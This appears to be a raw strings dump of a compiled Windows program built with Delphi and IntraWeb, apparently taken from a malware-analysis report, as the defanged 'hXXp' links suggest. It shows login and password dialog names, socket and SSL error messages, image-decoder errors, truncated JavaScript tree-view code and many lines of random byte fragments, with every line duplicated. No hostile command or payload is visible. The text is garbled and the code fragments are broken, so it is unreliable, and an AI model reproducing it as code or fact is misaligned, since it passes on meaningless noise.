if(bw.ns4){
if(bw.ns4){
top.frames.captureEvents(Event.UNLOAD); top.frames.captureEvents(Event.LOAD); top.frames.onunload=cm_unloaded;
top.frames.captureEvents(Event.UNLOAD); top.frames.captureEvents(Event.LOAD); top.frames.onunload=cm_unloaded;
top.frames.onload = cm_checkLoaded;
top.frames.onload = cm_checkLoaded;
}else if((bw.ie||bw.ns6)) setTimeout("cm_checkLoaded()",200)
}else if((bw.ie||bw.ns6)) setTimeout("cm_checkLoaded()",200)
// TreeView Support
// TreeView Support
this.ATreeView = ATreeView;
this.ATreeView = ATreeView;
this.ClickIndex = AClickIndex;
this.ClickIndex = AClickIndex;
this.State = AState;
this.State = AState;
this.Next = ANext;
this.Next = ANext;
this.Childs = AChild;
this.Childs = AChild;
this.Name = AName;
this.Name = AName;
while ((AItem
while ((AItem
if (AItem.ClickIndex==0) {
if (AItem.ClickIndex==0) {
return AItem.Caption;
return AItem.Caption;
", false))\">" AItem.Caption "
";", false))\">" AItem.Caption "
";TreeViewTable = "";
TreeViewTable = "";
if (LItem.Childs) {
if (LItem.Childs) {
if (LItem.State) {
if (LItem.State) {
TreeViewTable = "";
TreeViewTable = "";
TreeViewTable = BuildTreeView(ATreeView, LItem.Childs, LIdent 1);
TreeViewTable = BuildTreeView(ATreeView, LItem.Childs, LIdent 1);
TreeViewTable = ""
TreeViewTable = ""
TreeViewTable = "";
TreeViewTable = "";
LItem = LItem.Next;
LItem = LItem.Next;
layerWrite(trview.Id, null, BuildTreeView(trview, trview.Items, 0));
layerWrite(trview.Id, null, BuildTreeView(trview, trview.Items, 0));
if (LItem.Name == AItemName) break;
if (LItem.Name == AItemName) break;
LL = FindItem(LItem.Childs, AItemName);
LL = FindItem(LItem.Childs, AItemName);
var LItem = tvname.Items;
var LItem = tvname.Items;
if (LItem) LItem.State = true;
if (LItem) LItem.State = true;
if (LItem) LItem.State = false;
if (LItem) LItem.State = false;
LItem.State = value;
LItem.State = value;
ScanTree(LItem.Childs, value);
ScanTree(LItem.Childs, value);
ScanTree(tvname.Items, true);
ScanTree(tvname.Items, true);
ScanTree(tvname.Items, false);
ScanTree(tvname.Items, false);
KWindows
KWindows
UrlMon
UrlMon
?HTTPApp
?HTTPApp
>WebConst
>WebConst
rSqlTimSt
rSqlTimSt
0IdHTTPHeaderInfo
0IdHTTPHeaderInfo
IdTCPServer
IdTCPServer
IdTCPStream
IdTCPStream
Font.Charset
Font.Charset
Font.Color
Font.Color
Font.Height
Font.Height
Font.Name
Font.Name
Font.Style
Font.Style
LoginDialog
LoginDialog
Database Login
Database Login
&Password:
&Password:
PasswordChar
PasswordChar
Picture.Data
Picture.Data
hXXp://ns.adobe.com/xap/1.0/
hXXp://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?>
9h.ph
9h.ph
pu-N}N'
pu-N}N'
M3.hH
M3.hH
m.AGED
m.AGED
C9.dqZ
C9.dqZ
7;_or.ErJ
7;_or.ErJ
QK %cX
QK %cX
4TQ~.HC
4TQ~.HC
%YDU.Rr
%YDU.Rr
U;s%d
U;s%d
!%U^QmK
!%U^QmK
" id="W5M0MpCehiHzreSzNTczkc9d"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?>
i%_.%F
i%_.%F
Pv.YP
Pv.YP
" id="W5M0MpCehiHzreSzNTczkc9d"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?>
g}n%d
g}n%d
f:~%x/9N
f:~%x/9N
q2%0%x
q2%0%x
" id="W5M0MpCehiHzreSzNTczkc9d"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?>
=@!.Kz
=@!.Kz
i}%uV5/
i}%uV5/
'.xB
'.xB
OnKeyPress
OnKeyPress
.trRa
.trRa
"%.xL\
"%.xL\
:
:
%u/#y-
%u/#y-
9].ce
9].ce
tf.ez
tf.ez
=.us.{
=.us.{
7!j.UZ
7!j.UZ
A.Zx{
A.Zx{
.PA54
.PA54
[#CMd8}
[#CMd8}
.JjvJf
.JjvJf
g.Th:7x
g.Th:7x
.yEFRV
.yEFRV
hUÂ
hUÂ
XO%xb
XO%xb
k`.wg
k`.wg
D q
D q
V-kGg}
V-kGg}
%FP-D
%FP-D
e}.tA.
e}.tA.
5'fJ%D-]
5'fJ%D-]
`%U@nA
`%U@nA
-].uW
-].uW
.CSo'*
.CSo'*
BB.Mn
BB.Mn
-di}K$i
-di}K$i
n.tV*u
n.tV*u
R.OQc
R.OQc
.gA!ee
.gA!ee
%sw.Nw[
%sw.Nw[
d.fCY
d.fCY
\.VhLS
\.VhLS
;\%UlP
;\%UlP
a;%U[
a;%U[
dp-k}
dp-k}
H>Â
H>Â
%Fhq}
%Fhq}
K:7%sSxq
K:7%sSxq
;].qu
;].qu
O?|
O?|
t&%FY
t&%FY
%cLu~
%cLu~
.OK%- 1
.OK%- 1
%DR62f
%DR62f
V`.XcZ
V`.XcZ
%X?Fr
%X?Fr
%F_I[
%F_I[
Q/%C[
Q/%C[
^-%X9
^-%X9
Z.HIM
Z.HIM
Sg.ck
Sg.ck
Q@q%d
Q@q%d
*EXec
*EXec
E$.Uj
E$.Uj
\:.UE
\:.UE
$h.Qq
$h.Qq
:.kv^y
:.kv^y
.WcTJ
.WcTJ
gH1%F`
gH1%F`
.CjF2:
.CjF2:
.EDl2
.EDl2
9.OLU]
9.OLU]
1000008
1000008
VyQ.oe
VyQ.oe
,..Faa
,..Faa
Aa.hh;p
Aa.hh;p
ohXXp://ns.adobe.com/xap/1.0/
ohXXp://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?>
Vw.zXo
Vw.zXo
Cb.sp
Cb.sp
nW.Mo
nW.Mo
.sCa.v
.sCa.v
" id="W5M0MpCehiHzreSzNTczkc9d"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?>
%Ucei$e
%Ucei$e
5%shh
5%shh
N.DM#
N.DM#
%sevsm^
%sevsm^
.XlGf
.XlGf
PJ%SG
PJ%SG
:%co(
:%co(
"C%c[_
"C%c[_
%xqA;
%xqA;
f.KGv
f.KGv
o.Sj=
o.Sj=
}u,.SQ
}u,.SQ
M%u5#j
M%u5#j
;:%sP
;:%sP
" id="W5M0MpCehiHzreSzNTczkc9d"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?>
.LN_2
.LN_2
%DUED
%DUED
?j %FW
?j %FW
" id="W5M0MpCehiHzreSzNTczkc9d"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?>
j-4%UV
j-4%UV
.DZ(C
.DZ(C
K.xzO
K.xzO
!dÊ[
!dÊ[
zZ.ly
zZ.ly
%Fq[~
%Fq[~
7%x#BJ
7%x#BJ
.CH,C0
.CH,C0
5.qdI
5.qdI
" id="W5M0MpCehiHzreSzNTczkc9d"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?>
T.ym>
T.ym>
u%utEd
u%utEd
y.Vz2a
y.Vz2a
cRTG9
cRTG9
r.]%Dt3W
r.]%Dt3W
.DFQ1u
.DFQ1u
<.tc->
<.tc->
.jgSp
.jgSp
" id="W5M0MpCehiHzreSzNTczkc9d"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?>
d.CAZ6
d.CAZ6
9q%C\
9q%C\
" id="W5M0MpCehiHzreSzNTczkc9d"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?>
N.Pxz
N.Pxz
$.dKF
$.dKF
4%.eD
4%.eD
S.LZ6
S.LZ6
wl~-Ü]
wl~-Ü]
" id="W5M0MpCehiHzreSzNTczkc9d"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?>
UdPT
UdPT
.bjp9
.bjp9
LM0%DP(
LM0%DP(
.sEp*
.sEp*
JA%x
JA%x
%ssM8
%ssM8
pF.RY
pF.RY
9{w%x
9{w%x
\N%2u
\N%2u
.CjEC
.CjEC
r.ja9
r.ja9
" id="W5M0MpCehiHzreSzNTczkc9d"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?>
ls%s5
ls%s5
.fVqN
.fVqN
,M.qW
,M.qW
mp-y}d
mp-y}d
S\.gz
S\.gz
wl`%C
wl`%C
" id="W5M0MpCehiHzreSzNTczkc9d"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?>
-E-W
-E-W
Io%xe]
Io%xe]
Dd.DM
Dd.DM
:_.VIn
:_.VIn
%UrG3m
%UrG3m
Q.Aj}e
Q.Aj}e
^ w.Wk
^ w.Wk
1SX.PM1G-
1SX.PM1G-
%dvmX
%dvmX
f.Ol5
f.Ol5
" id="W5M0MpCehiHzreSzNTczkc9d"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?>
Jl(EtSY
Jl(EtSY
9MUB9).hXK
9MUB9).hXK
" id="W5M0MpCehiHzreSzNTczkc9d"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?>
%uCcs
%uCcs
ib.xH
ib.xH
-) .Npj
-) .Npj
udpkp
udpkp
.mI0\
.mI0\
" id="W5M0MpCehiHzreSzNTczkc9d"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?>
Br$%X3
Br$%X3
j8.KbH
j8.KbH
.znmmI
.znmmI
xj.FhqXR
xj.FhqXR
$.qRb
$.qRb
wq%sH
wq%sH
.IW&2
.IW&2
n"M,n%X
n"M,n%X
" id="W5M0MpCehiHzreSzNTczkc9d"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?>
o-k3}
o-k3}
zs%DI
zs%DI
#R>%Uk
#R>%Uk
&%CXti
&%CXti
YWt%u
YWt%u
,.Yb
,.Yb
q%sUZ
q%sUZ
%cGZv
%cGZv
$1%xid1
$1%xid1
I.GuU
I.GuU
" id="W5M0MpCehiHzreSzNTczkc9d"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?>
"%-%D
"%-%D
ib.zFM
ib.zFM
Tzq%DI
Tzq%DI
.QHMN
.QHMN
k0.Hr.
k0.Hr.
" id="W5M0MpCehiHzreSzNTczkc9d"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?>
ww.MD
ww.MD
,b.Fq
,b.Fq
Q3Y%UU2
Q3Y%UU2
4^A,m(.Jr
4^A,m(.Jr
p.yED
p.yED
z.fqwww}_
z.fqwww}_
" id="W5M0MpCehiHzreSzNTczkc9d"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?>
)g*%C*
)g*%C*
Jt.Wd
Jt.Wd
u~.EY
u~.EY
.MNf\
.MNf\
I %fW
I %fW
%xcl
%xcl
" id="W5M0MpCehiHzreSzNTczkc9d"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?>
GA.ud
GA.ud
Dd.DM^
Dd.DM^
.dDQBe
.dDQBe
Mm_l
Mm_l
sm.Fg
sm.Fg
" id="W5M0MpCehiHzreSzNTczkc9d"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?>
o.PN^
o.PN^
g%f"^CD]
g%f"^CD]
n%UOxK
n%UOxK
.HB9N
.HB9N
X4.Vm8
X4.Vm8
" id="W5M0MpCehiHzreSzNTczkc9d"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?>
o0.is
o0.is
Y%S&7o
Y%S&7o
Qs2.Pi
Qs2.Pi
7)%C*
7)%C*
T2%cTm
T2%cTm
" id="W5M0MpCehiHzreSzNTczkc9d"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?>
0.-)y.xW
0.-)y.xW
E%.x$=
E%.x$=
%.bn
%.bn
bL.Zb
bL.Zb
.UeKS
.UeKS
?iÃj]
?iÃj]
Qb.dxi
Qb.dxi
%C`Q
%C`Q
" id="W5M0MpCehiHzreSzNTczkc9d"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?>
YÃq
YÃq
H.gik^
H.gik^
2V.jT
2V.jT
!.rJ:aK
!.rJ:aK
>F]BbD
>F]BbD
Q%sP'
Q%sP'
Be@%S
Be@%S
.RvKvT
.RvKvT
:~.xW
:~.xW
%fvY?
%fvY?
(.uM"
(.uM"
"h.mnaYa
"h.mnaYa
.uM[P
.uM[P
[kc8-W7m}t
[kc8-W7m}t
.xfXec
.xfXec
4y.paY
4y.paY
-gC}J
-gC}J
%F-{g
%F-{g
~%xwA
~%xwA
1fm%d
1fm%d
{).cq
{).cq
)J.Zy[
)J.Zy[
i-.LE
i-.LE
PasswordDialog
PasswordDialog
Enter password
Enter password
version="1.0.0.0"
version="1.0.0.0"
name="Microsoft.Windows.Common-Controls"
name="Microsoft.Windows.Common-Controls"
version="6.0.0.0"
version="6.0.0.0"
publicKeyToken="6595b64144ccf1df"
publicKeyToken="6595b64144ccf1df"
MSGDLG
MSGDLG
TSUIPASSWORDDIALOG
TSUIPASSWORDDIALOG
TSUIURLLABEL
TSUIURLLABEL
TLOGINDIALOG
TLOGINDIALOG
TPASSWORDDIALOG
TPASSWORDDIALOG
Invalid stream operation
Invalid stream operation
Invalid Image trailerAInternal error: Extension Instance does not match Extension Label,Unsupported Application Extension block size
Invalid Image trailerAInternal error: Extension Instance does not match Extension Label,Unsupported Application Extension block size
Unknown GIF block type'Object type not supported for operation
Unknown GIF block type'Object type not supported for operation
Unsupported PixelFormat
Unsupported PixelFormat
jThis "Portable Network Graphics" image is invalid because the decoder found an unexpected end of the file.8This "Portable Network Graphics" image contains no data.oSome operation could not be performed because the system is out of resources. Close some windows and try again.OThis operation is not valid because the current image contains no valid header.4The new size provided for image resizing is invalid.
jThis "Portable Network Graphics" image is invalid because the decoder found an unexpected end of the file.8This "Portable Network Graphics" image contains no data.oSome operation could not be performed because the system is out of resources. Close some windows and try again.OThis operation is not valid because the current image contains no valid header.4The new size provided for image resizing is invalid.
Unsupported GIF version
Unsupported GIF version
Invalid extension introducerúiled to allocate memory for GIF DIB
Invalid extension introducerúiled to allocate memory for GIF DIB
,Submit control (%s) does not have a handler.GIntraWeb controls can only be placed on IntraWeb forms or Delphi frames4This event handler already has code associated to itjThis "Portable Network Graphics" image is not valid because it contains invalid pieces of data (crc error)yThe "Portable Network Graphics" image could not be loaded because one of its main piece of data (ihdr) might be corruptedUThis "Portable Network Graphics" image is invalid because it has missing image parts.[Could not decompress the image because it contains invalid compressed data.
,Submit control (%s) does not have a handler.GIntraWeb controls can only be placed on IntraWeb forms or Delphi frames4This event handler already has code associated to itjThis "Portable Network Graphics" image is not valid because it contains invalid pieces of data (crc error)yThe "Portable Network Graphics" image could not be loaded because one of its main piece of data (ihdr) might be corruptedUThis "Portable Network Graphics" image is invalid because it has missing image parts.[Could not decompress the image because it contains invalid compressed data.
Description: BThe "Portable Network Graphics" image contains an invalid palette.
Description: BThe "Portable Network Graphics" image contains an invalid palette.
The file being readed is not a valid "Portable Network Graphics" image because it contains an invalid header. This file may be corruped, try obtaining it again.nThis "Portable Network Graphics" image is not supported or it might be invalid.
The file being readed is not a valid "Portable Network Graphics" image because it contains an invalid header. This file may be corruped, try obtaining it again.nThis "Portable Network Graphics" image is not supported or it might be invalid.
This "Portable Network Graphics" image is not supported because either it's width or height exceeds the maximum size, which is 65535 pixels length.
This "Portable Network Graphics" image is not supported because either it's width or height exceeds the maximum size, which is 65535 pixels length.
There is no such palette entry.dThis "Portable Network Graphics" image contains an unknown critical part which could not be decoded.pThis "Portable Network Graphics" image is encoded with an unknown compression scheme which could not be decoded.cThis "Portable Network Graphics" image uses an unknown interlace scheme which could not be decoded.-The chunks must be compatible to be assigned.
There is no such palette entry.dThis "Portable Network Graphics" image contains an unknown critical part which could not be decoded.pThis "Portable Network Graphics" image is encoded with an unknown compression scheme which could not be decoded.cThis "Portable Network Graphics" image uses an unknown interlace scheme which could not be decoded.-The chunks must be compatible to be assigned.
Remote Login&Cannot change the size of a JPEG image
Remote Login&Cannot change the size of a JPEG image
JPEG error #%d
JPEG error #%d
JPEG Image File#"%s" is not a valid component name.
JPEG Image File#"%s" is not a valid component name.
%s not found.2Warning: You have added a non IntraWeb control. %s
%s not found.2Warning: You have added a non IntraWeb control. %s
SSL status: "%s"
SSL status: "%s"
%s is not a valid BCD value$Could not parse SQL TimeStamp string
%s is not a valid BCD value$Could not parse SQL TimeStamp string
Invalid SQL date/time values
Invalid SQL date/time values
OLE error %.8x.Method '%s' not supported by automation object/Variant does not reference an automation object7Dispatch methods do not support more than 64 parameters
OLE error %.8x.Method '%s' not supported by automation object/Variant does not reference an automation object7Dispatch methods do not support more than 64 parameters
Command not supported.
Command not supported.
Address type not supported.$Error accepting connection with SSL.
Address type not supported.$Error accepting connection with SSL.
Error creating SSL context. Could not load root certificate.
Error creating SSL context. Could not load root certificate.
Could not load certificate.#Could not load key, check password.
Could not load certificate.#Could not load key, check password.
Request rejected or failed.5Request rejected because SOCKS server cannot connect.QRequest rejected because the client program and identd report different user-ids.
Request rejected or failed.5Request rejected because SOCKS server cannot connect.QRequest rejected because the client program and identd report different user-ids.
"Operation not supported on socket.
"Operation not supported on socket.
Protocol family not supported.0Address family not supported by protocol family.
Protocol family not supported.0Address family not supported by protocol family.
Socket is not connected..Cannot send or receive after socket is closed.#Too many references, cannot splice.
Socket is not connected..Cannot send or receive after socket is closed.#Too many references, cannot splice.
Operation would block.
Operation would block.
Operation now in progress.
Operation now in progress.
Operation already in progress.
Operation already in progress.
Socket operation on non-socket.
Socket operation on non-socket.
Protocol not supported.
Protocol not supported.
Socket type not supported.
Socket type not supported.
Invalid Port Range (%d - %d)
Invalid Port Range (%d - %d)
Max line length exceeded.*Error on call Winsock2 library function %s&Error on loading Winsock2 library (%s)
Max line length exceeded.*Error on call Winsock2 library function %s&Error on loading Winsock2 library (%s)
Resolving hostname %s.
Resolving hostname %s.
Connecting to %s.
Connecting to %s.
Chunk StartedDThis authentication method is already registered with class name %s.
Chunk StartedDThis authentication method is already registered with class name %s.
%s is not a valid service.
%s is not a valid service.
Socket Error # %d
Socket Error # %d
No help keyword specified.
No help keyword specified.
Connection Closed Gracefully.;Could not bind socket. Address and port are already in use.4Failed attempting to retrieve time zone information.
Connection Closed Gracefully.;Could not bind socket. Address and port are already in use.4Failed attempting to retrieve time zone information.
File "%s" not found1Only one TIdAntiFreeze can exist per application.
File "%s" not found1Only one TIdAntiFreeze can exist per application.
No data to read.$Can not bind in port range (%d - %d)
No data to read.$Can not bind in port range (%d - %d)
Value must be between %d and %d
Value must be between %d and %d
Invalid clipboard format Clipboard does not support Icons
Invalid clipboard format Clipboard does not support Icons
Text exceeds memo capacity/Menu '%s' is already being used by another form
Text exceeds memo capacity/Menu '%s' is already being used by another form
No help found for %s
No help found for %s
Error creating window class Cannot focus a disabled or invisible window!Control '%s' has no parent window
Error creating window class Cannot focus a disabled or invisible window!Control '%s' has no parent window
%s property out of range
%s property out of range
$Operation not allowed on sorted list$%s not in a class registration group
$Operation not allowed on sorted list$%s not in a class registration group
Property %s does not exist
Property %s does not exist
Thread creation error: %s
Thread creation error: %s
Thread Error: %s (%d)
Thread Error: %s (%d)
Scan line index out of range!Cannot change the size of an icon$Unknown picture file extension (.%s)
Scan line index out of range!Cannot change the size of an icon$Unknown picture file extension (.%s)
Unsupported clipboard format
Unsupported clipboard format
$''%s'' is not a valid component name
$''%s'' is not a valid component name
Invalid property element: %s
Invalid property element: %s
Invalid property type: %s
Invalid property type: %s
Invalid property value List capacity out of bounds (%d)
Invalid property value List capacity out of bounds (%d)
List count out of bounds (%d)
List count out of bounds (%d)
List index out of bounds (%d) Out of memory while expanding memory stream
List index out of bounds (%d) Out of memory while expanding memory stream
Error reading %s%s%s: %s
Error reading %s%s%s: %s
Failed to set data for '%s'
Failed to set data for '%s'
Resource %s not found
Resource %s not found
%s.Seek not implemented
%s.Seek not implemented
Ancestor for '%s' not found
Ancestor for '%s' not found
Cannot assign a %s to a %s
Cannot assign a %s to a %s
Bits index out of range*Can't write to a read-only resource streamECheckSynchronize called from thread $%x, which is NOT the main thread
Bits index out of range*Can't write to a read-only resource streamECheckSynchronize called from thread $%x, which is NOT the main thread
Class %s not found
Class %s not found
A class named %s already exists%List does not allow duplicates ($0%x)#A component named %s already exists%String list does not allow duplicates
A class named %s already exists%List does not allow duplicates ($0%x)#A component named %s already exists%String list does not allow duplicates
Cannot create file "%s". %s
Cannot create file "%s". %s
Cannot open file "%s". %s
Cannot open file "%s". %s
Operation not supported
Operation not supported
External exception %x
External exception %x
Interface not supported
Interface not supported
%s (%s, line %d)
%s (%s, line %d)
Abstract Error?Access violation at address %p in module '%s'. %s of address %p
Abstract Error?Access violation at address %p in module '%s'. %s of address %p
System Error. Code: %d.
System Error. Code: %d.
Invalid variant operation%Invalid variant operation (%s%.8x)
Invalid variant operation%Invalid variant operation (%s%.8x)
%s,Custom variant type (%s%.4x) is out of range/Custom variant type (%s%.4x) already used by %s*Custom variant type (%s%.4x) is not usable2Too many custom variant types have been registered5Could not convert variant of type (%s) into type (%s)=Overflow while converting variant of type (%s) into type (%s)
%s,Custom variant type (%s%.4x) is out of range/Custom variant type (%s%.4x) already used by %s*Custom variant type (%s%.4x) is not usable2Too many custom variant types have been registered5Could not convert variant of type (%s) into type (%s)=Overflow while converting variant of type (%s) into type (%s)
Invalid floating point operation
Invalid floating point operation
Invalid pointer operation
Invalid pointer operation
Invalid class typecast0Access violation at address %p. %s of address %p
Invalid class typecast0Access violation at address %p. %s of address %p
Privileged instruction(Exception %s in module %s at %p.
Privileged instruction(Exception %s in module %s at %p.
Application Error1Format '%s' invalid or incompatible with argument
Application Error1Format '%s' invalid or incompatible with argument
No argument for format '%s'"Variant method calls not supported
No argument for format '%s'"Variant method calls not supported
!'%s' is not a valid integer value('%s' is not a valid floating point value
!'%s' is not a valid integer value('%s' is not a valid floating point value
I/O error %d
I/O error %d
1.4.0.6
1.4.0.6
1.0.0.0
1.0.0.0